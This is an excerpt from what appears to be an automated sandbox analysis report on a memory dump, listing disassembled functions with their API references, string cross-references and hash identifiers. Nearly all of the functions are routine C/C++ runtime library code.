Concurrency::cancel_current_task.LIBCPMT ref: 0048CF30

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: c706cb9b35c8553922a5e5530ba3a7b7aabf43fd4c1acedf4bca5782ac2d077e
Instruction ID: 17fd09bc5a2b9a23776ff6845afbd5a8be8b016436499cbaa6f6c10a48bf8e0a
Opcode Fuzzy Hash: c706cb9b35c8553922a5e5530ba3a7b7aabf43fd4c1acedf4bca5782ac2d077e
Instruction Fuzzy Hash: 6B01A171D001169BCB05FB65E955ABE7761AF84314F54081FE511AB3D2CF389D018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CF36, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CF3D
std::_Lockit::_Lockit.LIBCPMT ref: 0048CF47

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CF98
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CFB8
Concurrency::cancel_current_task.LIBCPMT ref: 0048CFC5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 96ce4f7fc4148f09f6ab127db4bb919ca244c50d4cf3a2eaa0bb7a99c46fdf03
Instruction ID: d00191ee0539962db96476a6738c2fb0da11e71ebf61d49d6df8079211b98099
Opcode Fuzzy Hash: 96ce4f7fc4148f09f6ab127db4bb919ca244c50d4cf3a2eaa0bb7a99c46fdf03
Instruction Fuzzy Hash: B701E132A001158BCB01FBA598996BE7771AF84324F14081FF5106B3C2CF3C9D018798

Uniqueness

Uniqueness Score: -1.00%

Function 0048CFCB, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CFD2
std::_Lockit::_Lockit.LIBCPMT ref: 0048CFDC

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048D02D
std::_Lockit::~_Lockit.LIBCPMT ref: 0048D04D
Concurrency::cancel_current_task.LIBCPMT ref: 0048D05A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: fc8fdd9a5476b10b3955ef83531fc36b1192845be5a29a8105f932ba5cd76491
Instruction ID: 8dc615d5de82a91b4aa80d915f54963e5a9f6041fc2f0b4740d8236d3ab88111
Opcode Fuzzy Hash: fc8fdd9a5476b10b3955ef83531fc36b1192845be5a29a8105f932ba5cd76491
Instruction Fuzzy Hash: EB01AD71D002169BCB05FB669855ABE7762AF80318F25085EE421AB3C2CF3C9E028799

Uniqueness

Uniqueness Score: -1.00%

Function 00443CE6, Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00443CED
GetCurrentProcessId.KERNEL32(00000008,0043BB28,exit,00000000), ref: 00443CFE
OpenProcess.KERNEL32(00000001,00000000), ref: 00443D10
TerminateProcess.KERNEL32(00000000,00000000), ref: 00443D1A
CloseHandle.KERNEL32(00000000), ref: 00443D23

Part of subcall function 0042CE52: _strlen.LIBCMT ref: 0042CE69

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Process$CloseCurrentH_prolog3HandleOpenTerminate_strlen
String ID:
API String ID: 844737864-0
Opcode ID: e36277597b82c71df0c3f9b3a08bae327726754cd7cc6ffb26e8325413f558be
Instruction ID: 20c5e3e63a40f2b26eda2ac8471f66f7aebff9c656438ca6f54d7a7d07fdfe22
Opcode Fuzzy Hash: e36277597b82c71df0c3f9b3a08bae327726754cd7cc6ffb26e8325413f558be
Instruction Fuzzy Hash: 36F0D671E0021097DB206F664DC976EB9A5AF95B41F11043EF816E7392CBBC4D008B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00C8443F, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C84457

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84469
_free.LIBCMT ref: 00C8447B
_free.LIBCMT ref: 00C8448D
_free.LIBCMT ref: 00C8449F

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 435f74b7604ad06ba8518cad556c99af9789a751266c96caabb844d294d37d2a
Instruction ID: 73aee6107d445ed2c88be7ce33ad9bdaf2311eb16187882f8ed2f7b43be015d2
Opcode Fuzzy Hash: 435f74b7604ad06ba8518cad556c99af9789a751266c96caabb844d294d37d2a
Instruction Fuzzy Hash: FCF062725002466BC624FF54F9D1E0E73EDAB81B28364880AF058E7580CB35FE80B758

Uniqueness

Uniqueness Score: -1.00%

Function 004BD298, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004BD2B0

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD2C2
_free.LIBCMT ref: 004BD2D4
_free.LIBCMT ref: 004BD2E6
_free.LIBCMT ref: 004BD2F8

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction ID: 21bbc4205594669f68ab256063db33df7e1a3609b43c217ca4934aeb7d5d12d3
Opcode Fuzzy Hash: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction Fuzzy Hash: 18F09C32804280A78629DB55E9C1CA7B7E9EF403103550C8BF418DB757D778FC805ABC

Uniqueness

Uniqueness Score: -1.00%

Function 004AF8C2, Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 004AFA74
__freea.LIBCMT ref: 004AFA92

Strings

a/p, xrefs: 004AFB59
am/pm, xrefs: 004AFAF5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __freea
String ID: a/p$am/pm
API String ID: 240046367-3206640213
Opcode ID: 59b3214faaa3cc1f7dd8fbd9dbd85ead1f8ebc674c30a1678cc591c8eaf514c5
Instruction ID: 5e534ac625380a43bb3b9b5929ca01ae05bd3c6fad4ece2b406d07bca39fef9b
Opcode Fuzzy Hash: 59b3214faaa3cc1f7dd8fbd9dbd85ead1f8ebc674c30a1678cc591c8eaf514c5
Instruction Fuzzy Hash: B9D1037190020A9ADB258FA9C8557FBB7B0FF26310F24413BE9069B354D33D9D49CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004B9733, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 004B991A

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

__freea.LIBCMT ref: 004B9923
__freea.LIBCMT ref: 004B9948

Strings

wMJ, xrefs: 004B9745

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __freea$AllocateHeap
String ID: wMJ
API String ID: 2243444508-2099330561
Opcode ID: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction ID: bd1046c0ed2026923ab6bb54f5f6b1936ba10a7c64732bc017e602d8fd777aa8
Opcode Fuzzy Hash: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction Fuzzy Hash: 815102B2610206AAEF299E61DC41EFF77A9EF40754F14462EFE04D6240EB38DC50C6B8

Uniqueness

Uniqueness Score: -1.00%

Function 004BB7A0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 004BB7EF
_free.LIBCMT ref: 004BB90C

Strings

., xrefs: 004BBAC3
*?, xrefs: 004BB7E3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction ID: 5e8d4437e027354db0a914e45b0249d4f0a5d739f678af44c0f697afcb3efd33
Opcode Fuzzy Hash: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction Fuzzy Hash: 9E51B171E002099FDF14DFA9C881AEEB7B9EF58314F24816EE544E7301D7B99A01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00432E45, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00432E4C

Part of subcall function 0042ED41: __EH_prolog3.LIBCMT ref: 0042ED48

Strings

0!H, xrefs: 00432EEE
0!H, xrefs: 00432FDE
SKH, xrefs: 00432F19

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3H_prolog3_catch
String ID: 0!H$0!H$SKH
API String ID: 1882928916-3711223816
Opcode ID: f25c091d98c892c48e1c32be6fb42d2abd1719b2333e4155d92ea80342963fb7
Instruction ID: f8b76cef0ddf7a8d9179eb3a67740a7a310654312a4c76237cbc02e9adc99377
Opcode Fuzzy Hash: f25c091d98c892c48e1c32be6fb42d2abd1719b2333e4155d92ea80342963fb7
Instruction Fuzzy Hash: CC514C70E005198FCB18CF99C5919ADBBF2BF8C314F24826EE525AB396C7749D42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00482C63, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00482C6A
__EH_prolog3_catch.LIBCMT ref: 00482D05

Strings

list too long, xrefs: 00482CF3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_H_prolog3_catch
String ID: list too long
API String ID: 3862090230-1124181908
Opcode ID: 9b665f8576d416d3849e94e3afb1ba985a95e555212d39ebaedcb6e5405e94fe
Instruction ID: d3cde06d7607b50ce4075269f84c04aa18e56dd168709e95f49110e55eb88a14
Opcode Fuzzy Hash: 9b665f8576d416d3849e94e3afb1ba985a95e555212d39ebaedcb6e5405e94fe
Instruction Fuzzy Hash: 19519071A00605DFCB18EF69C5819AEBBF1FF44310F248A2EE455AB391DB74AA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00C52450, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00C52560: lstrlenW.KERNEL32(hex:,?,?,?,?,?,?,?), ref: 00C52571

_swprintf.LIBCMTD ref: 00C524D6

Strings

M, xrefs: 00C5251F
%02x, xrefs: 00C524C3
\ , xrefs: 00C52537

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintflstrlen
String ID: %02x$M$\
API String ID: 3774553904-2625197773
Opcode ID: cdd61b471ad502d81c95b3f2985ea9aa76d60e4c8ab085a0615147ebb0f30d47
Instruction ID: b61df031e2d509cae1cb92e6ae93bc8fadca609dde41d9aff282d579fedae5ad
Opcode Fuzzy Hash: cdd61b471ad502d81c95b3f2985ea9aa76d60e4c8ab085a0615147ebb0f30d47
Instruction Fuzzy Hash: 2F3117B8A00108EFCB04CF94D995AAEB7B5FF89305F108099EC159B341E731AA96DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C58282, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

__is_exception_typeof.LIBVCRUNTIME ref: 00C58316

Strings

MOC, xrefs: 00C58294
RCC, xrefs: 00C5828C
csm, xrefs: 00C5829C

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __is_exception_typeof
String ID: MOC$RCC$csm
API String ID: 3140442014-2671469338
Opcode ID: f6d726d9226ef70a219061f59d3d7292288d3d6d164c2625cce8cb98030f2c37
Instruction ID: 8c131cc221050b0c73747336a894f3f673c76594342e6c7613c395efc930852c
Opcode Fuzzy Hash: f6d726d9226ef70a219061f59d3d7292288d3d6d164c2625cce8cb98030f2c37
Instruction Fuzzy Hash: 2111B239504205DFD718AF56C805A99BBE8EF00B13F154099EC40AB261EFB4EECCDB99

Uniqueness

Uniqueness Score: -1.00%

Function 00C52560, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(hex:,?,?,?,?,?,?,?), ref: 00C52571

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

_swprintf.LIBCMTD ref: 00C525A9

Strings

hex(%x):, xrefs: 00C5259E
hex:, xrefs: 00C5256C, 00C5257A

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite_swprintf
String ID: hex(%x):$hex:
API String ID: 2966740098-506250457
Opcode ID: e94785878f5de85b7d7b1845c3abca66d7624c0cf406b9fcf5088b62bc2e352c
Instruction ID: 8448227996218675fa40c07e49ebc3f999e923b4e512b1e37f52cbf718c5cc76
Opcode Fuzzy Hash: e94785878f5de85b7d7b1845c3abca66d7624c0cf406b9fcf5088b62bc2e352c
Instruction Fuzzy Hash: ACF0AFBDD00208BBDF00EFA8EC469AD77B4DB04705F4081A8FC085B241F6709B959BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C525D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 00C525D8
lstrlenW.KERNEL32(?,[%s],?), ref: 00C525FB
_swprintf.LIBCMTD ref: 00C52609

Part of subcall function 00C54AB0: __vswprintf_s_l.LIBCONCRTD ref: 00C54ACE

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

Strings

[%s], xrefs: 00C525F2

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite__vswprintf_s_l_swprintf
String ID: [%s]
API String ID: 240206160-2108352628
Opcode ID: dbf83d0cdec10c5198fc03031b961a03b107e7162c93fee269a48b1db211bf88
Instruction ID: ca4aba4141e50be575b696322c156a6821efaf16eabf6a8d2df108960d3f8e30
Opcode Fuzzy Hash: dbf83d0cdec10c5198fc03031b961a03b107e7162c93fee269a48b1db211bf88
Instruction Fuzzy Hash: 0BF019FA910108BBCB04DF98EC46D6E77BCEB48315B008558F91DD7201E531EA15D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C5FBC8, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00C5FB83), ref: 00C5FBD5
GetLastError.KERNEL32(?,00C5FB83), ref: 00C5FBDF
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00C5FC07

Strings

api-ms-, xrefs: 00C5FBEC

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b30a70285e3ceff5557cf1aac2d1da4d0839907dab1657bcec0870dbed567353
Instruction ID: 40d93f6d09337cee65f6a4c447038ca6c1d3f78d8d6ee846dc3f72c7a6a4fb3f
Opcode Fuzzy Hash: b30a70285e3ceff5557cf1aac2d1da4d0839907dab1657bcec0870dbed567353
Instruction Fuzzy Hash: 67E04F30680208B7EF211BA1EC0AF1C3E5CEB04B51F149035FD1DA80E1D772AAA6D598

Uniqueness

Uniqueness Score: -1.00%

Function 004B384E, Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004B38D9
__alldvrm.LIBCMT ref: 004B3ADA
__alldvrm.LIBCMT ref: 004B3AFC

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction ID: aefbf502682c8a8259c916363cc8edfc7ad5277ee51f74c50151e1c402d83c2e
Opcode Fuzzy Hash: cf59a2465089a7603c647ea21e1a707a5df345a225b1c4ff3b1d698eb6aada1f
Instruction Fuzzy Hash: 88A15671A043869FEB21CF1AC8917EEBBE0EF15311F24416FE4959B382C63C9A41C769

Uniqueness

Uniqueness Score: -1.00%

Function 00C5B971, Relevance: 6.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C5B978
UnDecorator::getSymbolName.LIBCMT ref: 00C5BA06
DName::operator+.LIBCMT ref: 00C5BB0A

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::DName.LIBVCRUNTIME ref: 00C5BBC7

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name$Decorator::getH_prolog3Name::Name::operator+Symbolshared_ptr
String ID:
API String ID: 334624791-0
Opcode ID: d90ea75f17887d4bc4deef43ef42093e3643bc6e219b31d78e7e6792a4310293
Instruction ID: 5d09ea5ec9f63799df7651c7df39494af31188b47f555979cf07c6f7995bb716
Opcode Fuzzy Hash: d90ea75f17887d4bc4deef43ef42093e3643bc6e219b31d78e7e6792a4310293
Instruction Fuzzy Hash: 83817C79D002499FDB11CF94C495BEEBFB4FF09312F18405AE911AB251D7B09E88CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D1E4, Relevance: 6.2, APIs: 4, Instructions: 178COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00C5D24F
operator+.LIBVCRUNTIME ref: 00C5D29F
shared_ptr.LIBCMT ref: 00C5D36B
operator+.LIBVCRUNTIME ref: 00C5D3F1

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: operator+shared_ptr
String ID:
API String ID: 864562889-0
Opcode ID: c97924a37dce0b971a57690227b5bb61bb03cf616c551341332943eec0cf4667
Instruction ID: 7dd293301841790315091c64346135435367832e479c833a525dec4bada0298f
Opcode Fuzzy Hash: c97924a37dce0b971a57690227b5bb61bb03cf616c551341332943eec0cf4667
Instruction Fuzzy Hash: 4061A1B980434AEFCB24DF68C844AAD7BB4FB46305F148159E8169B221D371DBC9DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00C607A4, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00C6086B
___AdjustPointer.LIBCMT ref: 00C6088E
___AdjustPointer.LIBCMT ref: 00C6092A

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 09c502969b1352eaad7ce9a6ff8dc4a19ed00ffdf5ce9446fb5bc238b6640f28
Instruction ID: 5d859d43e5b28d4471038ec0451a609d286f61e91bd876b7f852ce59fb2529fd
Opcode Fuzzy Hash: 09c502969b1352eaad7ce9a6ff8dc4a19ed00ffdf5ce9446fb5bc238b6640f28
Instruction Fuzzy Hash: 8B51DE76A016029FEB39CF11D881B7BB7A5EF48301F34462DE915672D2E731AE90DB80

Uniqueness

Uniqueness Score: -1.00%

Function 004A14C6, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004A158D
___AdjustPointer.LIBCMT ref: 004A15B0
___AdjustPointer.LIBCMT ref: 004A164C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction ID: 3c0717075a898fdc87e0c65c008e7088a1d6a1ad2d33d74d011be9785ebaa25a
Opcode Fuzzy Hash: f887c83835c5cb72f26c448c0f57ca06c8fd496e518150ae68044f1cab4e5553
Instruction Fuzzy Hash: FA51F572A00202BFDB288F16C841B7A77A4EFA6714F14452FE907972B1E739EC41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C01C, Relevance: 6.1, APIs: 4, Instructions: 144COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00C5C0A4

Part of subcall function 00C59051: __aulldvrm.LIBCMT ref: 00C59082

DName::operator+.LIBCMT ref: 00C5C0B1
DName::operator=.LIBVCRUNTIME ref: 00C5C131
DName::DName.LIBVCRUNTIME ref: 00C5C151

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::$Name::operator+Name::operator=__aulldvrm
String ID:
API String ID: 2448499823-0
Opcode ID: 0dba2bf047d130137014db51fe0b527436dff70b42c48897ec861726877c69b7
Instruction ID: e794a3874a0bfc1af25f00544946f1fb814a06624f117b08e2d6b65245f45060
Opcode Fuzzy Hash: 0dba2bf047d130137014db51fe0b527436dff70b42c48897ec861726877c69b7
Instruction Fuzzy Hash: 41519279900795EFCB15CF54C8D0AAEBBB4FF06302F148096E8115B362D7B09AC9DB94

Uniqueness

Uniqueness Score: -1.00%

Function 004B9AA8, Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fcfa19c15fc5a8cafe95093390a0d6dbe93a312acf91bbad6bb9d4421810fc6
Instruction ID: 2841f9bdff8b88ee4e3ddea9de328ee0ae5924222ae52d890bda5bb18cd83000
Opcode Fuzzy Hash: 4fcfa19c15fc5a8cafe95093390a0d6dbe93a312acf91bbad6bb9d4421810fc6
Instruction Fuzzy Hash: EE412671A04704AFD7259F38D841BAABBA9EB89314F10852FF201DB281D779BD118798

Uniqueness

Uniqueness Score: -1.00%

Function 00C91384, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C91454
_free.LIBCMT ref: 00C9147D
SetEndOfFile.KERNEL32(00000000,00C89978,00000000,00C89CBB,?,?,?,?,?,?,?,00C89978,00C89CBB,00000000), ref: 00C914AF
GetLastError.KERNEL32(?,?,?,?,?,?,?,00C89978,00C89CBB,00000000,?,?,?,?,00000000), ref: 00C914CB

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: eed57b7c08d0009e2370126922a562393c2aba11813182062a5b25e7d6b742d2
Instruction ID: 46eeeecbf65d671bcb3c365c70d2e2275dd34974a97dd95c4e8fe1984e0dae7f
Opcode Fuzzy Hash: eed57b7c08d0009e2370126922a562393c2aba11813182062a5b25e7d6b742d2
Instruction Fuzzy Hash: 5E41D5769006069ADF11ABB9DC8BB9E3779AF48320F2C0511FD34A7191E634D941A760

Uniqueness

